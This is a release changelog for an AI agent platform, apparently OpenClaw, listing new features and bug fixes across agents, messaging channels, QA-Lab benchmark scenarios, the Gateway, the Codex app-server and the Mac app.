• Agents/tools: shorten built-in tool descriptions and schema hints across media, messaging, sessions, cron, Gateway, web, image/PDF, TTS, nodes, and plan tools while preserving routing guardrails.
• Skills: add node inspector debugging, fused diagram generation, and throwaway spike workflow skills.
• CLI/plugins: add defineToolPlugin plus openclaw plugins build, validate, and init for typed simple tool plugins with generated manifest metadata, optional tool declarations, and context factories.
• Agents/skills: tighten bundled skill prompts and metadata, quote skill descriptions, refresh current CLI/API guidance, and update embedded sherpa-onnx runtime downloads.
• Skills: update the Obsidian skill to target the official obsidian CLI and require its registered binary instead of the third-party obsidian-cli.
• Skills: add a Python debugging skill for pdb, breakpoint(), post-mortem inspection, and debugpy remote attach.
• Plugins/messages: add presentation capability limits for channel renderers, adapt rich message controls before native rendering, and mark legacy interactive/Slack directive producer APIs as deprecated.
• Plugins/subagents: store channel delivery routes as canonical session metadata and deprecate ad hoc subagent hook delivery-origin fields in favor of core route projection.
• Proxy: support HTTPS managed forward-proxy endpoints and scoped proxy.tls.caFile CA trust for proxy endpoint TLS. (#79171) Thanks @jesse-merhi.
• QA-Lab: add first-hour 20-turn and optional 100-turn runtime parity scenarios, with tier metadata for standard and soak QA gates. Fixes #80338; refs #80337. Thanks @100yenadmin.
• QA-Lab: add openclaw qa suite --runtime-parity-tier and wire the standard Codex-vs-Pi tier into release checks separately from optional/live-only/soak lanes. Fixes #80337. Thanks @100yenadmin.
• QA-Lab: add a live-only Codex Pi-shaped Read vocabulary canary so runtime parity catches native workspace-read prompt compatibility drift. (#80323) Thanks @100yenadmin.
• QA-Lab: add live-only harness self-health scenarios for plugin hook crashes, manifest contract errors, and WebChat direct-reply self-message routing. (#80323) Thanks @100yenadmin.
• QA-Lab: add runtime tool fixture scenarios and coverage reporting for Codex-native workspace tools, OpenClaw dynamic tools, and optional plugin-backed tools. Fixes #80173. Thanks @100yenadmin.
• QA-Lab: expose runtime tool fixture coverage through openclaw qa coverage --tools, with optional suite-summary evaluation for parity gate artifacts. Thanks @100yenadmin.
• QA-Lab: schedule a live-frontier Codex-vs-Pi runtime token-efficiency artifact lane in the all-lanes QA workflow. Fixes #80175. Thanks @100yenadmin.
• QA-Lab: hard-gate required OpenClaw dynamic runtime-tool drift in the standard Codex-vs-Pi tier with a blocking release-check verifier and publish the tool coverage report artifact. Fixes #80339; refs #80319. Thanks @100yenadmin.
• QA-Lab: add the personal-agent approval-denial scenario so the benchmark pack verifies denied local reads stop cleanly without tool progress or fixture leaks. (#83150) Thanks @iFiras-Max1.
• QA-Lab: extend the personal-agent benchmark pack with a local task followthrough scenario for proof-backed pending, blocked, and done status reporting. Thanks @iFiras-Max1.
• QA-Lab: add a report-only dreaming shadow-trial scenario so candidate memory promotion can be evaluated without mutating MEMORY.md. Thanks @iFiras-Max1.
• Gateway/performance: add pnpm test:restart:gateway benchmark tooling for repeated restart readiness, downtime, trace, and resource-slope evidence. (#83299) Thanks @samzong.
• Android: switch Talk Mode to realtime Gateway relay voice sessions with streaming mic input, realtime audio playback, tool-result bridging, and on-screen transcripts. (#83130) Thanks @sliekens.
• Gateway/config: expose config lookup reload metadata so tools can distinguish restart-required, hot-reloadable, and no-op fields before applying config edits. Fixes #81409. (#81612) Thanks @LLagoon3.
• Telegram: add allowlisted native DM draft previews for transient tool progress while keeping final answers on the normal persistent delivery path. (#83622) Thanks @akrimm702.
• QA-Lab: add a personal-agent share-safe diagnostics artifact scenario so support handoffs keep useful status while omitting raw personal content. Thanks @iFiras-Max1.

Fixes

• Memory/search: scan the JS-side fallback vector path (used when the sqlite-vec index is unavailable or has a mismatched dimension) in bounded rowid batches and yield to the event loop between batches so large chunk tables can no longer pin the Node.js main thread for multi-second windows. Also keeps the SQL prepared statement rooted in a local so node:sqlite cannot finalize it mid-scan under heap pressure. Fixes #81172. Thanks @dev23xyz-oss.
• CLI/update: bypass npm freshness filters consistently during managed package and plugin installs so freshly published release plugins remain installable. Thanks @jalehman.
• Agents/subagents: keep collect-mode announce queues batching unresolved-origin items with compatible same-route messages and resume collection after a true cross-channel drain when a later compatible batch remains. Fixes #83577.
• Providers/Anthropic: preserve native image input for current Claude model rows when stale local catalog data marks them text-only. (#83756) Thanks @TurboTheTurtle.
• Control UI: render live tool progress from session-scoped session.tool Gateway events so externally started runs show their tool cards in the active session. (#83734) Thanks @TurboTheTurtle.
• Outbound: resolve send-capable channel plugins from the active runtime registry when the pinned startup registry only has setup metadata. (#83733) Thanks @TurboTheTurtle.
• Browser: enforce current-tab URL allowlist checks for /act evaluate/batch actions and /highlight routes while leaving tab-management actions unblocked. (#78523)
• CI: require real-behavior-proof verdict markers to come from the ClawSweeper GitHub App before accepting exact-head proof. (#83692)
• Models: show the effective OpenAI/Codex auth profile in /models provider headers instead of falling back to the OpenAI env-key label. (#83697) Thanks @yu-xin-c.
• Browser: keep a profile cdpPort when its cdpUrl omits a port, while still letting explicitly written URL ports win. (#82166) Thanks @Marvae.
• Agents/image generation: allow distinct image_generate prompts to start separate session-backed background tasks while same-prompt retries still return the active task status. (#83614) Thanks @Elarwei001.
• Gateway/WebChat: honor configured channels.webchat.textChunkLimit and chunkMode overrides when chunking WebChat replies. (#83713)
• Control UI: stop the chat reading indicator from sticking after an assistant response finishes. (#83515) Thanks @njuboy11.
• Skills: reject empty or whitespace-only skill names and descriptions during quick validation. (#27061)
• Sessions: skip trailing custom transcript entries when checking tail assistant replies so embedded CLI gap-fill does not duplicate canonical assistant output. (#83635) Thanks @yaoyi1222.
• Memory Wiki: keep wiki_lint tool output path-safe by reporting vault-internal lint reports as relative paths in tool text and details while preserving absolute report paths for CLI/file callers. (#83439) Thanks @LLagoon3.
• Telegram: keep verbose tool progress visible without mirroring non-final progress into active session transcripts, preventing embedded provider replies from aborting mid-run. (#83631) Thanks @kurplunkin.
• Telegram: log successful outbound text and media deliveries with account, chat, message, operation, thread, reply, silent, and chunk metadata while keeping message bodies out of logs. Fixes #83196. (#83247) Thanks @jrwrest.
• Cron: link isolated scheduled task runs to their stable cron session so task status and cleanup can follow the backing agent run. (#83606) Thanks @jai.
• CLI: enforce the documented Node.js 22.19 runtime floor in the source launcher.
• Release stability: repair broad-gate regressions in requester-agent completion handoff, QA-Lab mock spawn attribution, Slack monitor test isolation, plugin uninstall peer fixtures, and Node-floor launcher contract coverage.
• Agents/replies: persist queued follow-up user messages and assistant error stubs only once across model-fallback retries, preventing repeated provider rejections from corrupted same-role session transcripts. Fixes #83404. (#83417) Thanks @yetval.
• Slack: persist delivered inbound message IDs and fail closed when same-channel thread replies lose their thread context, preventing delayed duplicate replies and accidental channel-root posts. Fixes #83521. Thanks @shannon0430.
• Codex app-server: complete OpenClaw dynamic tool diagnostics at the request boundary so successful, failed, timed out, aborted, and blocked tool calls do not leave active tool state behind. Fixes #83474. Thanks @rozmiarD.
• Gateway/config: keep config writes from failing on unrelated unresolved auth-profile SecretRefs while preserving live auth-profile runtime snapshots.
• Gateway/sessions: clear stored CLI provider resume bindings on non-subagent /reset so the next turn starts a fresh provider-side CLI conversation instead of resuming old context. (#83448) Thanks @jasonyliu.
• Doctor: preserve legacy whole-agent Claude CLI intent by moving matching Anthropic model selections to model-scoped runtime policy before removing stale runtime pins. Fixes #83491. Thanks @danielcrick.
• Discord/OpenAI: keep realtime Discord voice sessions hearing follow-up turns with OpenAI realtime and prebuffer assistant playback to avoid choppy starts. (#80505) Thanks @Solvely-Colin.
• LM Studio: resolve env-template API keys like ${LMSTUDIO_API_KEY} through the standard SecretInput path instead of sending the raw template as the bearer token, and preserve header-auth and discovery-key precedence when the template is unset. Fixes #80495. (#80568) Thanks @MonkeyLeeT.
• Discord/subagents: route the initial reply from thread-bound delegated sessions into the bound Discord thread instead of the parent channel. Fixes #83170. (#83172) Thanks @100menotu001.
• Gateway/sessions: rotate failed agent sessions when their transcript file is missing instead of wedging per-channel lanes. Fixes #83488. (#83553) Thanks @LLagoon3.
• Media: prevent image metadata probing from invoking external decoder delegates on unrecognized image bytes, and stop fallback chaining after real processing errors.
• Media: install Sharp with the root package and fall back to sips, Windows native imaging, ImageMagick, GraphicsMagick, or ffmpeg for image resizing/conversion when Sharp is unavailable. Fixes #83401. Thanks @scotthuang.
• Telegram: deliver generated media completions back into forum topics by preserving topic IDs across requester-agent handoff. (#83556) Thanks @fuller-stack-dev.
• Gateway: defer update-check startup until after readiness so package update checks no longer block sidecar-ready startup, while preserving update broadcasts and shutdown cleanup. (#83520) Thanks @samzong.
• Telegram: keep /btw and read-only status commands from aborting active runs, and avoid retaining raw update payloads in timed-out spool tombstones. Refs #83272.
• Agents: log strict-agentic execution contract diagnostics only when the planning-only retry path actually triggers.
• Agents: stop embedded session takeover and session write-lock errors from consuming model fallbacks while preserving provider fallback metadata. Fixes #83510. Thanks @luyao618.
• Agents/video: hide video_generate reference-audio parameters unless a registered video provider supports audio inputs.
• Plugins: fall back to npm for official ClawHub updates when artifact downloads are unavailable, including beta-to-default fallback and dry-run version reporting.
• Plugins/xAI: echo PKCE challenge fields during OAuth authorization-code token exchange for xAI token-endpoint compatibility. (#83499) Thanks @fuller-stack-dev.
• Codex app-server: hydrate current inbound image attachments before queued runs so Responses-backed agents receive Discord and other channel images as native vision input. Fixes #83466. Thanks @iannwu.
• Codex app-server: keep native code mode available without forcing code-mode-only so OpenClaw dynamic tool turns complete through the app-server tool bridge. Fixes #83109. Thanks @daswass.
• Release stability: recover stale session diagnostics and Codex OAuth fallback state so stuck runs and reused refresh tokens clear without blocking follow-up work. (#83503) Thanks @100yenadmin.
• Messages/TTS: apply TTS directives before message-tool sends reach core, gateway, or plugin delivery so opt-in message-tool rooms and proactive sends attach voice notes instead of leaking raw tags. Fixes #81598. Thanks @CG-Intelligence-Agent-Jack and @CoronovirusG10.
• Messages/Codex: keep Codex direct/source chats on message-tool visible delivery by default while documenting and testing messages.visibleReplies: "automatic" as the old-mode opt-out; channel wildcard model overrides now apply to direct chats before harness delivery defaults.
• Memory/QMD: keep archived session transcript hits visible after QMD export while preserving normal .md session ids that only resemble archive names. (#83518; fixes #83506) Thanks @tanshanshan.
• Codex app-server: preserve network access for sandboxed Codex code-mode turns when the OpenClaw sandbox allows outbound egress. Fixes #83347. Thanks @YusukeIt0.
• QA-Lab: keep the OTLP smoke decoder independent of removed OpenTelemetry generated-root internals.
• Messages: default group/channel visible replies to automatic final delivery again, keeping message_tool opt-in for ambient/shared rooms and tool-reliable models.
• CLI/TUI: force standalone /exit runs to terminate after runTui returns so onboarding-launched TUI children do not stay alive invisibly. (#83501) Thanks @fuller-stack-dev.
• Agents/code mode: honor per-agent code-mode config in schema, runtime catalog activation, and model payload filtering. Fixes #83388. Thanks @Kaspre.
• Agents/code mode: preserve agent, session, run, and channel context in before_tool_call hooks for top-level exec/wait dispatches. Fixes #83387.
• QQBot: shorten C2C typing indicators to a 10-second window renewed every 5 seconds, capped to keep a final passive-reply slot available. (#83469)
• Replies: keep final payload delivery after live preview updates so channels can finalize or send the completed answer instead of losing preview-only drafts. (#83468)
• Discord: deliver final replies in progress-mode preview streams instead of deduplicating the final visible message. (#83443) Thanks @compoodment.
• Providers/Xiaomi: replay MiMo Anthropic-compatible reasoning_content as provider-required thinking blocks even when OpenClaw thinking is disabled, fixing follow-up tool turns for mimo-v2-flash. Fixes #83407. Thanks @Xgenious7.
• Agents/exec approvals: forward approval-runtime credentials on agent-owned Gateway approval calls so approved async commands complete through the existing runtime path instead of stalling on unauthenticated follow-up calls. Thanks @IWhatsskill, @Patrick-Erichsen, and @jesse-merhi.
• Gateway/skills: preflight remote macOS skill-bin refreshes with a WebSocket connectivity check so stale node sessions skip quickly instead of logging slow system.which timeout warnings.
• CLI/config: keep broken discovered plugins that are not referenced by active config from failing openclaw config validate, while preserving fatal errors for explicitly configured plugin entries.
• GitHub Copilot: drop unsafe native Responses reasoning replay items with non-replayable IDs before dispatch, preventing affected Copilot sessions from failing with invalid_request_body. Fixes #83220. Thanks @galiniliev.
• Agents/Codex: fail closed when an explicitly requested Codex harness is not registered instead of silently trying configured model fallbacks. Fixes #83349. Thanks @r2-vibes.
• QA-Lab: make runtime tool coverage fail on missing required tool exercise instead of treating pass/pass parity envelope drift as missing coverage.
• Core/plugins: harden clawpatch-reported edge cases across gateway auth cleanup, Claude session id paths, plugin activation policy, apply-patch hunk handling, diagnostic redaction, and plugin metadata validation.
• UI: show reasoning choices as plain labels instead of leaking internal override wording in session and chat pickers.
• Mac app: avoid repeating the Configuration heading inside channel quick settings.
• Mac app: keep the Settings sidebar always visible and remove the redundant titlebar hide/show control.
• Mac app: normalize Settings pane content margins so pages share the same left and right rail.
• Mac app: prefer explicit private/Tailscale/LAN Gateway endpoints over SSH tunnels, preserve legacy loopback tunnel configs, persist transport choices, and show captured SSH stderr when tunneling really fails.
• Gateway/sessions: keep ACP/acpx and runtime child sessions visible in configured-only session lists when their owner or parent session belongs to a configured agent.
• Mac app: keep app-level menu commands and Dashboard failure states reachable when the remote Gateway is disconnected.
• Mac app: allow longer Gateway and Context errors to wrap in the menu instead of truncating the useful failure detail.
• Mac app: tighten remote Gateway fields in Settings so the Connection pane keeps readable labels and full action button text.
• Mac app: keep custom Settings card rows left-aligned and full-width so Discovery and status sections no longer appear centered or detached.
• Mac app: align Location permission controls to the same trailing column as the rest of Settings.
• Mac app: add Dashboard, Chat, Canvas, and Settings shortcuts to the Dock icon menu.
• Mac app: replace the Settings window's native split-view sidebar with an explicit layout so page content keeps its leading gutter when the sidebar is shown or hidden.
• Mac app: render channel quick config as aligned Settings rows and hide schema-only variants that cannot be edited safely from the quick pane.
• Gateway/webchat: hide internal runtime-context and other display: false transcript messages from Chat history and live message events. Fixes #83216. Thanks @EmpireCreator.
• CLI/help: keep gateway, doctor, status, and health help registration out of action/runtime imports so subcommand --help stays lightweight in constrained terminals. Fixes #83228. Thanks @dfguerrerom.
• Cron/Discord: keep explicit announce runs in message-tool-only source-reply mode so scheduled agent turns post once instead of also echoing through automatic visible replies. Fixes #83261. Thanks @Theralley.
• Telegram: preserve forum-topic origin targets in inbound, audio-preflight, and skipped-message hook contexts so follow-up delivery stays bound to the originating topic. Fixes #83302. Thanks @M00zyx.
• Telegram: retry HTTP 421 Misdirected Request send failures on a fresh fallback transport so transient edge-node routing errors no longer drop outbound replies. Fixes #48892. (#48908) Thanks @MarsDoge.
• Telegram: fail topic sends closed when Telegram reports message thread not found instead of retrying without message_thread_id into the base chat. Refs #83302.
• Config/subagents: remove ignored agent-model timeoutMs keys, keep subagent model config to primary/fallback selection, and clean shipped stale config through doctor. Fixes #83291. Thanks @giodl73-repo.
• Mac app: align the Sessions settings pane with the standard Settings page gutter and row spacing.
• OpenAI/Codex: stop rejecting available openai-codex GPT-5.1, GPT-5.2, and GPT-5.3 model refs during config validation, while keeping removed Spark aliases suppressed. Fixes #83303.
• Plugins/xAI: complete OAuth-backed xAI login and sidecar auth fixes, including guarded loopback callback CORS handling, video generation polling/defaults, and native-host User-Agent attribution. (#83322) Thanks @Jaaneek.
• Codex app-server: preserve streamed native command output in mirrored transcripts and trajectory exports when final snapshots omit aggregated output. (#83200) Thanks @rozmiarD.
• Codex app-server: fail closed when chat or sender policy denies tools, disabling native code, app, environment, and user MCP surfaces for restricted turns. (#82374) Thanks @VACInc.
• Codex app-server: keep recent context-engine messages when oversized projected history is truncated, so short follow-ups in long channel sessions do not fall back to stale earlier turns. (#83127) Thanks @VACInc.
• Codex app-server: keep OpenClaw session spawning searchable while steering Codex-native delegation through native subagents, avoiding duplicate direct subagent surfaces. (#83329) Thanks @fuller-stack-dev.
• Codex app-server: recover stale childless Codex-native subagent task mirrors during maintenance and allow their registry rows to be cancelled without an OpenClaw child session. (#82836) Thanks @yshimadahrs-ship-it and @joshavant.
• Feishu: return bound subagent delivery origins from session thread setup so Feishu subagent completions route back to the same DM or topic. (#83190) Thanks @100menotu001.
• CLI/update: tailor post-update Gateway recovery hints by platform, showing systemd, LaunchAgent, Scheduled Task, or generic service-manager guidance instead of macOS-only recovery text. (#83096) Thanks @rubencu.
• Plugins: apply a default 15-second timeout to legacy before_agent_start hooks so hung plugin handlers no longer block agent startup. Fixes #48534. (#83136) Thanks @therahul-yo.
• Feishu: refresh inbound session delivery context for DM, group, and broadcast turns so later replies do not inherit stale WebChat routing. Fixes #78274.
• Agents/subagents: require the initial subagent registry save before reporting spawn accepted, returning a spawn error instead of losing an untracked run when the registry write fails. (#83146) Thanks @yetval.
• QA-Lab/qa-channel: attach redacted agent tool-start traces to outbound QaBusMessage records so scenarios can assert actual tool use instead of relying only on reply text. Fixes #67637. Thanks @100yenadmin.
• QA-Lab: fail live runtime parity reports when assistant-message usage is missing, preventing 0 vs 0 live token rows from being reported as passing proof. Fixes #80411. Thanks @100yenadmin.
• QA-Lab: add a runtime token-efficiency sidecar report that classifies Codex savings separately from regressions and fails only positive Codex-over-Pi live token deltas above threshold. Fixes #81093. Thanks @100yenadmin.
• QA-Lab: fail Codex-backed OpenAI live runtime-pair runs before launching isolated workers when no portable Codex auth is available, while staging API-key fallbacks and configured Codex keys for isolated QA agents. Fixes #80412. Thanks @100yenadmin.
• QA-Lab: refresh parity gates, mock frontier fixtures, model scenarios, and workflow artifact lanes to compare GPT-5.5 against Claude Opus 4.7. Fixes #74262. Thanks @100yenadmin.
• QA-Lab: make mock parity dispatch provider-aware for source discovery and subagent scenarios so OpenAI and Anthropic lanes no longer share identical canned plans. Fixes #64879. Thanks @100yenadmin.
• QA-Lab: stop returning Control UI bearer tokens from unauthenticated bootstrap payloads and bind Docker harness ports to loopback-only host addresses. (#66355) Thanks @pgondhi987.
• Mac app: avoid a SwiftUI metadata crash when rendering the Cron Jobs settings pane.
• Agents/subagents: preserve run-mode keep subagent registry entries past the session sweep TTL, so kept subagent runs remain visible after cleanup completes. Fixes #83132. (#83168) Thanks @yetval.
• Agents/OpenAI streams: yield via setTimeout(0) instead of setImmediate between bursty Responses chunks so abort timers can fire during the yield, keeping cancel-on-timeout responsive on hot streams. Refs #82462.
• Agents/Codex: keep legacy oauthRef-backed OAuth profiles usable while openclaw doctor --fix migrates them back to inline credentials, without creating new sidecar credentials. (#83312) Thanks @joshavant.
• Agents/Codex: load the selected provider owner alongside the Codex harness runtime so openai-codex models resolve when plugin allowlists scope runtime loading. Fixes #83380. (#83519) Thanks @joshavant.
• Telegram: fail stalled isolated-ingress handlers into tombstones and abort same-lane reply work before restarting, so later same-chat updates drain after a hung turn. Fixes #83272. (#83505) Thanks @joshavant.
• CLI/config: send SecretRef diagnostics to stderr so JSON command stdout remains parseable.
• CLI/doctor: seed Control UI allowed origins when migrating legacy non-loopback gateway bind host aliases like 0.0.0.0. Fixes #83286. Thanks @giodl73-repo.
• CLI/plugins: ship the bundled memory CLI as a package entry so package-installed openclaw memory commands register correctly.
• CLI/update: defer doctor-time plugin package installs during package swaps and seed post-core repair from the updated install registry, preventing duplicate reinstall failures.
• CLI/update: preserve old-parent-readable config metadata during legacy package handoffs, fall back only to official @openclaw/* npm plugin packages when ClawHub plugin artifacts are unavailable, and keep managed service package roots authoritative during updates.
• Feishu: detect SecretRef top-level credentials as a configured default account instead of treating object-backed app secrets as missing.
• Gateway/restart: keep ordinary unmanaged SIGUSR1/config restarts in-process instead of detach-spawning an orphaned child, preserving custom supervisor PID tracking while leaving update restarts on the fresh-process path. Fixes #65668.
• CLI/completion: resolve concrete PowerShell profile paths and reload commands during setup and doctor completion installation. Fixes #44296. (#83059) Thanks @yu-xin-c.
• Telegram: keep isolated long polling below the hard getUpdates request guard so idle bot accounts with high timeoutSeconds do not false-disconnect and restart-loop. Fixes #83264. Thanks @riccodecarvalho.
• Providers/Google: preserve and recover Gemini 3 tool-call thought signatures during native replay so function-calling turns no longer fail with missing thought_signature 400s. Fixes #72879. (#80358) Thanks @abnershang.
• Telegram: skip transcript-only delivery mirrors and gateway-injected rows when resolving latest assistant text, preventing retained previews from replacing final replies with stale fragments. Fixes #83159. (#83362) Thanks @joshavant.
• Memory/QMD: keep lexical search on raw hyphenated queries while normalizing semantic QMD sub-searches, avoiding fallback to the builtin index for dashed identifiers and dates. Fixes #81328.
• Memory-core: distinguish sqlite-vec load failures from missing semantic vector embeddings in degraded memory index warnings, so vector recall diagnostics point at unresolved dimensions instead of blaming sqlite-vec when the store is ready. Fixes #75624. (#83056) Thanks @xuruiray and @Noah3521.
• Agents/subagents: preserve sandbox-peer controller ownership while routing completion announcements back to the originating run session, keeping subagent control and completion delivery scoped correctly. Fixes #80201. (#80242) Thanks @Jerry-Xin.
• Gateway: continue restarting remaining channels when one hot-reload channel restart fails, while still reporting aggregate reload failure and rolling back plugin pre-replace stops. Fixes #83054. Thanks @zqchris.
• Gateway/plugins: bind admin HTTP RPC dispatch to the accepting gateway instance so multi-gateway processes cannot execute plugin HTTP control-plane calls against another live gateway. Fixes #83486. (#83487) Thanks @coygeek.
• Telegram: keep hot-reload restarts from marking polling accounts manually stopped and restart isolated ingress cleanly after worker shutdown, preserving Telegram replies across config reloads. Fixes #83008. (#83410) Thanks @joshavant.
• Telegram/Ollama: pass current Telegram image attachments into native PI/Ollama vision turns so live photo prompts reach Ollama as native images. Fixes #83023. (#83516) Thanks @joshavant.
• Gateway/secrets: split the lightweight secrets runtime state and auth-store cache from the full secrets runtime and take a startup fast path when the gateway startup config has no SecretRef values, speeding up secrets startup while preserving cleanup and refresh semantics.
• Codex app-server: rotate oversized native Codex threads before resume and cap dynamic tool-result text entering native Codex sessions, preventing stale oversized context from surviving OpenClaw compaction. (#82981) Thanks @hansolo949.
• Gateway/restart: drain pending replies and active chat runs during restart shutdown before sockets and channels close, aborting timed-out chat runs through the normal cleanup path. (#69121) Thanks @alexlomt.
• Agents/Codex: use the Codex runtime context window for OpenAI-model preflight compaction and memory flush checks, so GPT-5.5 Codex sessions compact before hitting the smaller native context limit. Fixes #82982. Thanks @vliuyt.
• QA-Lab: clean orphaned gateway temp roots when a suite parent exits and wait on gateway plus transport readiness after config restarts, reducing stale qa-channel noise from interrupted runs. Fixes #65506. Thanks @100yenadmin.
• QA-Lab: wake qa-bus long polls that arrive with stale future cursors after a bus restart, preserving reconnect readiness for harness clients. (#67142) Thanks @hxy91819.
• QA-Lab: stage Multipass transfer scripts under OpenClaw's preferred temp root instead of raw OS temp paths, keeping the VM runner inside temp-path guardrails. (#64098) Thanks @ImLukeF.
• Agents/replies: keep surviving reply media and append a warning when other media references fail, so partial media normalization no longer drops failures silently. Thanks @Jerry-Xin.
• Config/models: accept thinkingFormat: "together" in model compat config so Together routes can opt into the Together-specific thinking response shape.
• Plugins/tokenjuice: bump the bundled tokenjuice runtime to 0.7.1, bringing Codex hook approval compatibility, pre-tool command wrapping fixes, and Rolldown/Vitest output compaction improvements into the OpenClaw plugin.
• Agents/OpenAI: stop post-processing GPT-5 final replies with hardcoded brevity caps, preserving full channel responses instead of appending synthetic ellipses, and log when strict-agentic GPT-5 execution activates. Fixes #82910.
• Mac app: refine the Settings General and Connection panes with cleaner status panels, card rows, and a single native titlebar sidebar toggle.
• Agents/media: deliver failed async image, music, and video generation completions directly when requester-session completion handoff fails, so channel users see provider errors instead of silent fallback stalls.
• Browser/CDP: keep loopback proxy bypass active across both NO_PROXY casings and redact home-relative Chrome MCP profile paths in attach-failure diagnostics.
• Agents/music: steer song, jingle, beat, anthem, and instrumental requests toward music_generate audio creation instead of lyric-only replies, and reserve lyrics for exact sung words.
• Codex app-server: record native Codex tool calls and results into trajectory artifacts so debug/trajectory exports capture the full Codex-native tool history, not just OpenClaw-bridged turns. Thanks @vyctorbrzezowski.
• Codex/app-server: keep bound conversation sessions on the owning agent runtime so native Codex control and follow-up turns do not fall back to the default agent client. Fixes #82954. (#82993)
• CLI/infer: run gateway model probes in fresh explicit sessions so one-shot provider checks do not inherit default agent transcript state. (#82861) Thanks @Kaspre.
• Providers/Together: send video-generation requests to Together's v2 video API even when shared text-model config still points at the v1 base URL. (#82992)
• Browser CLI: preserve browser-level options on nested commands, skip option values during lazy command registration, and keep long-running wait/download/dialog hooks open for their advertised wait window.
• CLI/sessions: accept openclaw sessions list as an alias for openclaw sessions, matching other list-style commands. Fixes #81139. (#81163) Thanks @YB0y.
• Channels/stream previews: widen compact progress draft lines and cut prose at word boundaries while preserving command/path suffixes, with streaming.progress.maxLineChars for channel-specific tuning.
• CLI/plugins: have openclaw plugins doctor warn when a configured runtime needs a missing owner plugin, sharing the same install mapping as openclaw doctor --fix. Fixes #81326. (#81674) Thanks @Zavianx.
• Agents/Codex: route OpenAI runs that resolve to openai-codex through the Codex provider and bootstrap OpenClaw's stored OAuth profile into the Codex harness when the harness owns transport, so openai/* model refs no longer fail with No API key found for openai-codex despite an existing Codex OAuth profile. (#82864) Thanks @ragesaq.
• Agents/ACP: distinguish prompt-submitted and runtime-active child stalls from true interactive waits, including redacted proxy-env diagnostics for Codex ACP no-output runs. Fixes #44810.
• Agents/memory: explain that memory-triggered compaction exposes only read and append-only write when configured core tools are unavailable in tools.allow warnings. Fixes #82941. Thanks @galiniliev.
• Agents/OpenAI: preserve deterministic tool payload ordering for prompt-cache reuse across OpenAI Responses and chat completions calls. (#82940) Thanks @galiniliev.
• ACP/Codex: honor terminal ACP turn results so failed Codex/acpx runs are not recorded as successful after only progress text. Fixes #79522. Thanks @dudaefj.
• Telegram: warn when a media group drops photos that fail to download, including albums where every photo is skipped. Fixes #55216. (#82987) Thanks @eldar702.
• Agents/skills: apply the full effective tool policy pipeline to inline command-dispatch: tool skill dispatch before owner-only filtering, preserving configured allow, deny, sandbox, sender, group, and subagent restrictions. (#78525)
• Codex: avoid spawning native hook relay subprocesses for post-tool/finalize events with no registered hook handlers while preserving pre-tool safety and approval relays. Fixes #76552. (#78004) Thanks @evgyur.
• Channel accounts: keep top-level default channel accounts visible when named accounts are added alongside default credential material, so mixed legacy/new account configs keep resolving default instead of silently dropping it.
• Agents/CLI: reject empty successful CLI subprocess replies as empty_response and keep them out of shared auth-profile health, so blank Claude CLI results no longer become green no-payload turns. Fixes #83231. (#83421) Thanks @joshavant.
• Codex/Telegram: synthesize native Codex tool progress from final turn snapshots so Telegram /verbose stays visible when command events arrive only at completion.
• Codex/Telegram: deliver Codex verbose tool summaries in direct message-tool-only turns while suppressing message-send and activity-log noise. (#83186) Thanks @kurplunkin.
• Mac app: make Channels settings open faster by deferring config-schema work, avoiding startup channel probes, caching decoded channel status rows, and showing only compact quick settings instead of the full generated channel schema.
• Control UI: include the Control UI and Gateway protocol versions in protocol-mismatch errors so stale app/dashboard pairings identify which side needs rebuilding or restarting.
• Gateway/protocol: restore Gateway WS protocol v4 and keep message.action room-event metadata on the existing inboundTurnKind wire field while preserving internal inbound-event classification.
• Agents/tools: prefer non-webchat session-key routes when the message tool has stale webchat context, so message-tool-only replies keep delivering to the originating channel. Fixes #82911. (#83004) Thanks @joshavant.
• Channels: keep direct-message last-route writes on isolated per-channel-peer sessions instead of contaminating the agent main session with channel delivery context. Fixes #36614. Thanks @aspenas.
• Mac app: move the Settings sidebar toggle into the native titlebar and tighten the General pane width.
• Mac app: keep visited Settings panes mounted so switching tabs no longer blanks and reloads their content.
• Mac app: make Config settings open from shallow schema lookups and load selected paths on demand instead of fetching and rendering the full generated config schema up front.
• Codex: sanitize inline image payloads before Codex app-server and OpenAI Responses replay, and clear poisoned Codex thread bindings after invalid image errors. Fixes #82878.
• Providers/GitHub Copilot: request identity-encoded Copilot API responses across token exchange, catalog, model calls, usage, and embeddings so compressed Business-account error payloads no longer reach JSON parsers as gzip bytes. Fixes #82871. Thanks @tonyfe01.
• Telegram: redact nested raw-update identifiers and user metadata before verbose raw update logging, preserving useful update/message ids without exposing chat, user, command, or profile details. (#82945) Thanks @galiniliev and @joshavant.
• Telegram: preserve replied-to bot messages, captions, and media metadata in group reply chains so follow-up replies understand what the user is reacting to. (#82863)
• Providers/Together: update PI runtime packages to 0.74.1 and emit Together-style reasoning.enabled/max_tokens controls for reasoning-capable OpenAI-completions models.
• Agents/diagnostics: split slow embedded-run attempt-dispatch startup summaries into workspace, prompt, runtime-plan, and final dispatch subspans so traces identify the delayed setup phase. Fixes #82782. (#82783) Thanks @galiniliev.
• Agents/Codex: flatten nested tool-result middleware blocks into bounded text so successful message sends are no longer replaced with Tool output unavailable due to post-processing error. Fixes #82912. Thanks @joeykrug.
• CLI/media: accept HTTP(S) URLs in openclaw infer image describe --file, fetching remote images through the guarded media path instead of treating URLs as local files. Fixes #82837. (#82854) Thanks @neeravmakwana.
• Agents/subagents: keep session-backed parent runs active when the child wait call times out before the child session has actually settled, so late subagent completions are reconciled instead of being lost. Fixes #82787. Thanks @ramitrkar-hash.
• Control UI: advertise shared Gateway protocol constants in browser connect frames, fixing protocol mismatch handshakes after protocol constant drift. Fixes #82882. Thanks @galiniliev.
• Gateway: add rollback protocol-mismatch diagnostics, including client protocol ranges in Gateway logs and deep status/doctor hints for stale client processes. Fixes #82841. (#82908)
• Agents/subagents: keep successful keep-mode completion payloads pending after final-delivery retry exhaustion, so requester recovery no longer loses final subagent results. Fixes #82583. (#82999) Thanks @joshavant.
• Gateway/auth: allow same-host trusted-proxy callers to use the documented local direct gateway.auth.password fallback after revisiting the #78684 fail-closed policy, while keeping token fallback rejected and forwarded-header requests on the trusted-proxy path. Fixes #82607. (#82953) Thanks @joshavant.
• Agents/subagents: wait for queued completion handoffs to reach the parent transcript before marking them announced, preventing busy parent runs from cleaning up before observing child results. Fixes #82913. (#83039) Thanks @joshavant.
• Agents/subagents: route group/channel subagent completions through message-tool-only handoffs when required and keep active-requester wake failures from dropping completion delivery. Fixes #82803. Thanks @galiniliev, @yozakura-ava, and @moeedahmed.
